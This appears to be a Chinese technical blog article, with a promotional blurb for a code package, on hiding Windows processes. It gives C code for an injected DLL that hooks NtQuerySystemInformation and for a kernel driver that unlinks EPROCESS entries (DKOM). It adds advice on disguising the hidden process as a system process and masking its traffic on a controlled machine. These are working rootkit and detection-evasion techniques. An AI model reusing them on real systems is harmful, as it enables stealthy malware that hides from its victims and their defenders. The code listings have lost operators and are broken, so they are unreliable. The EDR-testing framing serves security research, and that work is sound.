简介面向Windows平台下使用C的开发者这套进程隐藏实现方案详细演示了如何借助系统API让程序在任务管理器等工具中不可见。资源围绕创建进程、显示窗口、获取模块函数等关键操作展开分别介绍创建时隐藏与运行后隐藏两种思路前者在启动进程时设置启动信息结构体中的显示窗口标志并指定为隐藏后者则通过打开进程句柄并修改窗口属性来实现。同时说明进程隐藏并非绝对安全高级监控工具仍可发现并强调必须遵守法律与道德规范。压缩包共包含四十五个文件以C源代码、头文件、可执行程序、工程配置、调试记录和界面资源为主整体大小五点三九兆字节涵盖多种Visual Studio工程格式可直接编译运行也可对照源码学习。已有两千七百四十二人学习下载工程结构完整特别适合理解Windows进程创建与窗口管理机制的开发者同时可作为二次开发的参考模板。1. 进程隐藏到底藏的是什么先搞清谁在“看”你的进程在任务管理器里把一个进程藏起来听起来像恶意软件才需要做的事但攻防演练、EDR 规则验证、反病毒样本分析里进程隐藏也是正经的安全研究课题。所谓进程隐藏并不是让进程停止运行而是让系统正常的进程枚举接口“查无此人”任务管理器、tasklist 列不出来第三方进程工具也看不到它可进程的线程还在跑、端口还在听。这篇文章用 C 把这件事完整落地一遍先从用户态 HOOK 讲清怎么骗过 NtQuerySystemInformation再进内核态摘掉 EPROCESS 链表节点最后整理我实际踩过的五个坑。适合想搞懂进程枚举机制、又要做授权环境下对抗验证的开发者读。2. 进程为什么会暴露枚举 API、内核链表与两条隐藏路线2.1 任务管理器凭什么列出我的进程从快照 API 到内核查询任务管理器列进程靠的不是自己偷偷遍历它调用系统公开的进程枚举接口。常见路径是 CreateToolhelp32Snapshot 建一个快照然后用 Process32First / Process32Next 一条条拉出来第三方工具也会用 EnumProcesses 这类 API。这两套 API 的底层最终都会汇到 ntdll.dll 的 NtQuerySystemInformation按 SystemProcessInformation 信息类向内核查询内核把每个进程的 EPROCESS 信息整理成一条条记录返回。所以进程暴露的链路其实很短应用层 API → ntdll 导出函数 → 内核查询 → 返回进程列表。这条链路上任何一环都能做文章但不同环节的改动影响面和隐蔽性天差地别。另外任务管理器只是“看”的一种方式。杀毒软件和 EDR 不会只依赖这一条链它们还会注册进程回调比如进程创建/退出通知、读内核的线程列表、扫描对象管理器里的句柄表。一个进程如果只是从任务管理器里消失杀毒软件照样能发现它。这也是很多人做进程隐藏容易产生的错觉任务管理器看不见就以为系统里完全不存在。2.2 进程在内核里的户口本EPROCESS 与 ActiveProcessLinks每个进程在内核里都有一个 EPROCESS 结构可以理解为进程的“户口本”。进程的 PID、父进程 PID、进程名、访问令牌、句柄表指针全在里面。内核通过 EPROCESS 里的 ActiveProcessLinks 双向链表把所有进程串成一条全局链。系统创建进程时把新节点链到链尾进程退出时再把节点摘掉。任何进程枚举逻辑最终大多是沿着这条链或者基于它复制出的快照在走。换句话说只要让目标节点的 ActiveProcessLinks 从链表上消失枚举接口就会认为这个进程不存在。这条链也是后面内核态 DKOM 隐藏的切入点。这里有个容易被忽略的细节进程退出时系统会操作 ActiveProcessLinks 把节点从链上摘除。如果节点已经被你提前摘掉进程退出时的清理逻辑就会操作一个并不在链上的节点行为不可预期严重时直接蓝屏。所以做摘链隐藏必须先想好恢复方案这不是可选项是必选项。2.3 两条隐藏路线用户态 HOOK 与内核态摘链针对上面的暴露链路常见方案有两类。用户态 HOOK 是把自定义代码接到 NtQuerySystemInformation 的调用路径上让它返回给调用者的进程列表里没有目标进程。实现门槛低在应用层就能调试但它有进程边界HOOK 只对调用了被 HOOK 模块的进程生效。任务管理器看不到是因为它加载了你的 HOOK DLL别的工具没加载照样能看到目标进程。内核态摘链是直接操作 EPROCESS 的 ActiveProcessLinks让内核链表本身失去目标节点。一改全局生效所有走链表遍历的枚举接口都查不到。代价是风险高摘错一次就可能蓝屏而且依赖这条链的功能会连带失效比如调试器附加、进程树计算、父子进程关系展示。两条路没有绝对好坏。真实对抗里两者常常叠加先在内核层把进程从主链摘掉再在用户态处理掉基于快照、句柄表的补查最后还要处理进程名、窗口、调试端口这些“周边暴露”。后面的章节先给两条主线的可复现代码再讲坑。2.4 选型决策什么时候用 HOOK什么时候只能上内核对比维度用户态 HOOK内核态摘链生效范围只对注入 HOOK 的进程生效全局生效实现难度低应用层可调试高需要驱动与内核调试稳定性风险低出错最多列表乱高摘错直接蓝屏恢复难度卸载 DLL 即可必须把链表节点恢复回去典型场景单工具验证、测试环境攻防对抗、EDR 验证我一般这样判断如果在自己的测试环境里验证某个查看器能不能发现额外进程用户态 HOOK 足够开发周期以天计。如果要做真正的全局隐藏或者要验证 EDR 对隐藏行为的检测能力只能上内核 DKOM而且必须在虚拟机里先跑通蓝屏恢复流程。两者不是替代关系而是递进关系。3. 用 C 实现用户态进程隐藏HOOK NtQuerySystemInformation 的完整落地3.1 先看清目标结构SYSTEM_PROCESS_INFORMATION 与遍历规则NtQuerySystemInformation 在 SystemProcessInformation 信息类下返回的是一串首尾相连的 SYSTEM_PROCESS_INFORMATION 结构。每个结构描述一个进程末尾的 NextEntryOffset 是相对当前结构起始地址到下一个结构的偏移等于 0 表示这是最后一个进程。这个字段是整个隐藏方案的核心只要在返回缓冲区里跳过目标进程对应的那一项枚举者就只能拿到去掉目标后的完整列表。typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; // 到下一个进程记录的偏移0 表示链表结束 ULONG NumberOfThreads; // 线程数 LARGE_INTEGER WorkingSetPrivateSize; ULONG HardFaultCount; ULONG NumberOfThreadsHighWatermark; ULONG CycleTime; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; // 进程名注意是宽字符 KPRIORITY BasePriority; HANDLE UniqueProcessId; // 也就是 PID HANDLE InheritedFromUniqueProcessId; // 后续还有内存统计、IO 统计等字段隐藏时用不到省略 } SYSTEM_PROCESS_INFORMATION;遍历时从缓冲区起始地址开始每次读当前项的 NextEntryOffset为 0 就停不为 0 就加上这个偏移跳到下一项。有两个边界要注意第一某些系统进程的 ImageName 是空的这时不要用字符串比较直接用 UniqueProcessId 匹配第二NextEntryOffset 是相对偏移而不是绝对地址重组缓冲区时如果直接把结构体拷来拷去这个相对偏移仍然有效不用重新换算但最后一项必须手动置 0否则调用者会越界读。3.2 最小可跑的 HOOK 代码真实地址替换与进程列表重组HOOK 的目标是 ntdll.dll 导出的 NtQuerySystemInformation。先拿到原始函数地址再用 API Hook 库把它替换成自己的实现。下面这个代码块是完整的过滤逻辑可以直接编译成 DLL 后注入到目标查看进程里。#include windows.h #include winternl.h #include vector // 与 ntdll 中 NtQuerySystemInformation 保持一致的函数原型 typedef NTSTATUS(WINAPI* pfnNtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); pfnNtQuerySystemInformation RealNtQuerySystemInformation NULL; DWORD g_targetPid 0; volatile LONG g_inHook 0; // 在返回缓冲区里剔除目标进程记录返回重组后的有效长度 ULONG FilterProcessList(PBYTE buffer, ULONG length) { ULONG readOffset 0; std::vectorBYTE temp(length); // 先拷贝到临时缓冲避免边读边改 while (readOffset sizeof(SYSTEM_PROCESS_INFORMATION) length) { PSYSTEM_PROCESS_INFORMATION pInfo (PSYSTEM_PROCESS_INFORMATION)(buffer readOffset); ULONG next pInfo-NextEntryOffset; ULONG thisLen (next 0) ? (length - readOffset) : next; if ((HANDLE)g_targetPid ! pInfo-UniqueProcessId) { CopyMemory(temp.data() tempLen, buffer readOffset, thisLen); tempLen thisLen; } if (next 0) break; readOffset next; } // 重组后的链表最后一项的 NextEntryOffset 必须置 0 ULONG cur 0; while (cur tempLen) { PSYSTEM_PROCESS_INFORMATION p (PSYSTEM_PROCESS_INFORMATION)(temp.data() cur); ULONG next p-NextEntryOffset; if (next 0 || cur next tempLen) { p-NextEntryOffset 0; break; } cur next; } CopyMemory(buffer, temp.data(), tempLen); return tempLen; } // Hook 后的替换函数 NTSTATUS WINAPI HookedNtQuerySystemInformation( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) { // 只处理进程信息查询其它信息类直接放行 if (SystemInformationClass ! SystemProcessInformation || g_targetPid 0 || g_inHook) { return RealNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); } InterlockedExchange(g_inHook, 1); NTSTATUS status RealNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) SystemInformation ! NULL) { ULONG realLen (ReturnLength ! NULL) ? *ReturnLength : SystemInformationLength; ULONG newLen FilterProcessList((PBYTE)SystemInformation, realLen); if (ReturnLength ! NULL) *ReturnLength newLen; } InterlockedExchange(g_inHook, 0); return status; }这段代码的关键逻辑有三处。第一RealNtQuerySystemInformation 必须从 ntdll.dll 的导出表中取代码里用 GetModuleHandleW 加 GetProcAddress 完成替换时用现成的 API Hook 库把导出函数入口改成 HookedNtQuerySystemInformation。第二g_inHook 是递归保护标志防止在调用原始函数的过程中又回到 Hook 入口形成死循环实际项目中这个标志还要配合线程 ID 判断避免多线程误伤。第三过滤时先把整块数据复制到临时缓冲再拷回原缓冲区不要在原缓冲上就地删除否则后续项的偏移全乱。3.3 注入范围与线程安全两个必调参数参数含义注意事项g_targetPid要隐藏的进程 PID设为 0 表示关闭隐藏可运行时动态切换SystemInformationClass信息类编号只有值为 5SystemProcessInformation时处理ReturnLength返回的实际数据长度重组后必须同步修改否则调用者拷贝出错g_inHook递归保护标志Interlocked 操作防止回调重入注入方式常见的做法是 CreateRemoteThread 加 LoadLibrary把 DLL 塞进任务管理器之类的目标查看进程。要注意 32 位和 64 位的位数匹配64 位任务管理器只能注入 64 位 DLL32 位注入器塞不进 64 位进程。另一个容易翻车的地方是调用者用两次查询来探测长度第一次传空缓冲区拿 ReturnLength第二次再传真正缓冲区。HOOK 后第一次查询返回的 ReturnLength 也要被过滤否则会多传一个进程大小的长度调用者按这个长度拷贝时会把缓冲末尾的脏数据也读走。我建议在 DLL 里导出一个设置函数比如 SetHiddenPid(DWORD pid)外部注入后主动调用一次而不是在 DllMain 里隐式判断。DllMain 里做 Hook 是一种玄学加载器锁冲突时可能直接卡死进程把 Hook 动作放到注入线程里执行要稳得多。4. 内核态 DKOM 隐藏从 EPROCESS 摘链看直接内核对象操作4.1 DKOM 为什么能“一次隐藏全局生效”DKOM 全称是 Direct Kernel Object Manipulation直接操作内核对象。用户态 HOOK 改的是 API 的返回结果内核里进程链表还是完整的DKOM 则直接把目标进程的 EPROCESS 节点从 ActiveProcessLinks 双向链表里摘下来。摘完之后任何基于这条链的枚举都看不到它这就是“全局生效”的原因。代价也很直接进程的父子关系、调试器附加、按进程树结束进程这类操作都依赖进程链表能遍历到目标节点。节点不在链上这些功能会连带失效。另外进程退出时内核会操作链表把节点摘掉如果节点提前被你摘了退出清理逻辑拿到一个已经不在链上的节点轻则逻辑异常重则蓝屏。所以 DKOM 隐藏必须有严格的恢复路径驱动卸载前必须把节点插回原位置。4.2 用驱动模块摘掉 ActiveProcessLinks代码与参数说明这里给一个驱动模块里的最小实现用 PsLookupProcessByProcessId 拿 EPROCESS 指针再操作它的 ActiveProcessLinks。注意不同系统版本里 ActiveProcessLinks 在 EPROCESS 中的偏移不一样实战驱动里一般用内核符号或者运行时特征匹配来定位下面为示意直接把结构缩短了。#include ntddk.h // 简化示意真实 EPROCESS 很长ActiveProcessLinks 偏移随版本变化 typedef struct _EPROCESS { // 前面省略大量字段…… LIST_ENTRY ActiveProcessLinks; // 双向链表节点 // 后面省略…… } EPROCESS, *PEPROCESS; KSPIN_LOCK g_hideLock; LIST_ENTRY g_savedLinks; // 保存摘下来的节点恢复时用 PEPROCESS g_targetProcess NULL; NTSTATUS HideProcess(DWORD pid) { PEPROCESS target NULL; NTSTATUS status PsLookupProcessByProcessId((HANDLE)pid, target); if (!NT_SUCCESS(status)) return status; // 持有目标进程引用直到恢复后再解引用 g_targetProcess target; KIRQL oldIrql; KeAcquireSpinLock(g_hideLock, oldIrql); // 保存原节点并把前驱和后继直接接起来 g_savedLinks target-ActiveProcessLinks; PLIST_ENTRY prev target-ActiveProcessLinks.Blink; PLIST_ENTRY next target-ActiveProcessLinks.Flink; prev-Flink next; next-Blink prev; // 清理目标节点自身指针避免残留引用 target-ActiveProcessLinks.Flink NULL; target-ActiveProcessLinks.Blink NULL; KeReleaseSpinLock(g_hideLock, oldIrql); return STATUS_SUCCESS; } VOID UnhideProcess() { if (g_targetProcess NULL) return; KIRQL oldIrql; KeAcquireSpinLock(g_hideLock, oldIrql); // 先把前后节点重新指向目标再恢复目标自身的链表指针 PLIST_ENTRY prev g_savedLinks.Blink; PLIST_ENTRY next g_savedLinks.Flink; prev-Flink g_targetProcess-ActiveProcessLinks; next-Blink g_targetProcess-ActiveProcessLinks; g_targetProcess-ActiveProcessLinks g_savedLinks; KeReleaseSpinLock(g_hideLock, oldIrql); // 恢复后再解引用保证目标进程在这期间不会因引用计数归零被销毁 ObDereferenceObject(g_targetProcess); g_targetProcess NULL; }摘链的核心是双向链表的常规操作先把前驱的 Flink 指向后继再把后继的 Blink 指向前驱目标节点就从链上断开了。恢复顺序相反先让前驱后继重新指向目标节点再恢复目标节点自身的 Flink 和 Blink。KeAcquireSpinLock 是为了避免摘链瞬间有其他线程正在遍历这条链不加锁在压力测试下大概率翻车。PsLookupProcessByProcessId 返回的 EPROCESS 指针带有引用计数隐藏期间必须一直持有恢复后再 ObDereferenceObject。如果摘链后立刻解引用目标进程可能随时被系统销毁g_targetProcess 就成了悬空指针恢复时直接蓝屏。这是内核方案里最容易踩的隐性坑。4.3 摘链隐藏的代价恢复链表、测试签名与蓝屏边界内核摘链不是一劳永逸。驱动卸载前必须调用 UnhideProcess 把节点插回去否则进程退出时链表清理逻辑会操作一个失联节点系统直接 BugCheck。实际开发中我习惯做一个配套的恢复工具单独加载一个只做恢复的驱动专门处理“隐藏驱动已经蓝屏或卡死”的场面。加载驱动本身也有门槛。测试机器上要先开启测试签名模式否则驱动加载被拒正式环境里无签名驱动基本加载不进去。开发期我一般全程在虚拟机里操作快照随手打蓝屏了回滚快照继续调不要拿日常办公机器做实验这是血泪经验。还有一层边界容易被忽略摘链隐藏挡得住“主动枚举”挡不住“基于事件的检测”。进程创建回调、线程创建回调、对象管理器访问这些路径不走进程链表杀毒软件通过回调照样知道进程存在。所以内核摘链适合作为隐藏方案的一层而不是全部。5. 进程隐藏避坑指南五条踩坑记录与处理办法5.1 现象HOOK 后整个进程列表被截断只剩几条记录某次我把 HOOK DLL 注入任务管理器后进程列表从几十条变成三条剩下的进程全不见了。原因不在过滤逻辑而在最后一项的 NextEntryOffset 没有置 0调用者沿着偏移读到缓冲区外提前终止了遍历。处理办法是在 FilterProcessList 末尾强制把重组后的最后一项 NextEntryOffset 写成 0并且在测试时先打印原始链表和重组后的偏移值逐项对比。改完后再用任务管理器快照对比进程数确认不是“少了一条”而是“完整列表去掉目标”。5.2 现象摘链后虚拟机瞬间蓝屏第一次写内核摘链时我在驱动里直接把 System 进程当目标试加载驱动后系统直接蓝屏。原因是 System 进程被摘链后内核调度和进程管理逻辑大量依赖这条链节点失联导致遍历拿到悬空指针。后来我只对测试用的普通应用进程做隐藏并且摘链前检查 PID拒绝所有小于一定数值的系统关键进程。另外蓝屏后看 dump大多是链表遍历在 KeAcquireSpinLock 之外竞争导致的把摘链和恢复都收敛到同一把自旋锁里问题就消失了。5.3 现象任务管理器不显示目标进程第三方工具仍能看到用户态 HOOK 只对注入了 DLL 的进程生效。任务管理器被注入了看不到目标另一个没被注入的进程查看工具直接走自己的枚举路径目标进程原样出现在列表里。这种不一致会让人误以为 HOOK 失败实际上它是“生效范围”问题。要覆盖更多查看工具要么把 DLL 注入到系统里所有可能被用来查进程的进程要么直接换内核摘链方案从全局链表上断开。做验证时先明确目标是要骗过某一个工具还是要骗过整个系统。5.4 现象隐藏后守护进程找不到目标退出命令也失效把进程从链表摘掉后所有按进程名或 PID 重新枚举的守护逻辑全部失效。原来守护进程每分钟 CreateToolhelp32Snapshot 一次确认目标还活着现在快照里没有目标守护进程立刻触发重启逻辑结果拉起了一个重复实例。处理办法是隐藏前让守护进程拿到目标进程的句柄并保持打开后续用 WaitForSingleObject 等句柄信号判断存活而不是反复枚举。退出控制也改成显式信号比如命名事件或文件标记隐藏后的进程自己监听这个信号再退出。5.5 现象杀毒软件直接杀掉主程序和驱动Hook ntdll、加载无签名驱动、进程被摘链这三个行为单独拿出来都是安全软件的高危特征叠加在一起基本等于给自己贴了恶意标记。开发期最好在隔离虚拟机里做杀毒软件装不装都随缘要带到别的环境验证提前在安全软件里加白名单。这也是我后来调整工作方式的原因隐藏方案本身没有对错但“在什么环境验证、是否获得授权”决定了这个技术是测试工具还是恶意样本。先确认授权边界再动手能省掉后面所有解释成本。6. 隐藏效果验证与后续对抗从任务管理器到内核调试器6.1 验证隐藏是否生效的最小检查链先用系统自带工具验证常规枚举是否失效。命令行下用 PID 和进程名分别查一次tasklist /fi PID eq 1234 tasklist /fi IMAGENAME eq demo.exe返回“没有运行的任务”说明应用层枚举已经看不到目标。再打开任务管理器确认列表里没有目标进程。但到这里只能证明“常规工具不可见”不能证明“内核不可见”。更严格的验证要在虚拟机里挂内核调试器查看目标进程 EPROCESS 的 ActiveProcessLinks 是否已经被改写前驱和后继是否已经绕过目标节点直接相连。第三方进程查看工具也要交叉验证一遍它能看到说明还有暴露面没堵上。完整的验证顺序是任务管理器 → tasklist → 第三方工具 → 内核调试器逐层确认哪一层还看得到就补哪一层。6.2 隐藏的后续对抗当进程既要藏又要正常运行隐藏一旦生效进程就进入“除了看不见其它都正常”的状态。真正的对抗实践中单纯隐藏 PID 通常不够我一般还会叠加三层一是进程名伪装把目标进程名改成与被控机器上常见系统进程相似的名字二是窗口和终端隐藏避免桌面上多个不明窗口三是启动行为和通信特征收敛让进程的资源占用曲线看起来像一个闲置服务。每一层都有验证方法进程名伪装后重新跑 6.1 的检查链窗口隐藏后截屏确认通信特征收敛后用流量查看工具对比基线。没有验证的隐藏都是自我安慰。我现在的习惯是每次做进程隐藏验证前先在虚拟机里准备好恢复脚本确认能在一个命令内完成驱动卸载和链表恢复再开始测试。这个习惯把蓝屏从“事故”变成“一次普通调试”省下了大量重装系统的时间。隐藏技术越往下做越需要敬畏系统底层的约定希望帮到你。本文还有配套的精品资源点击获取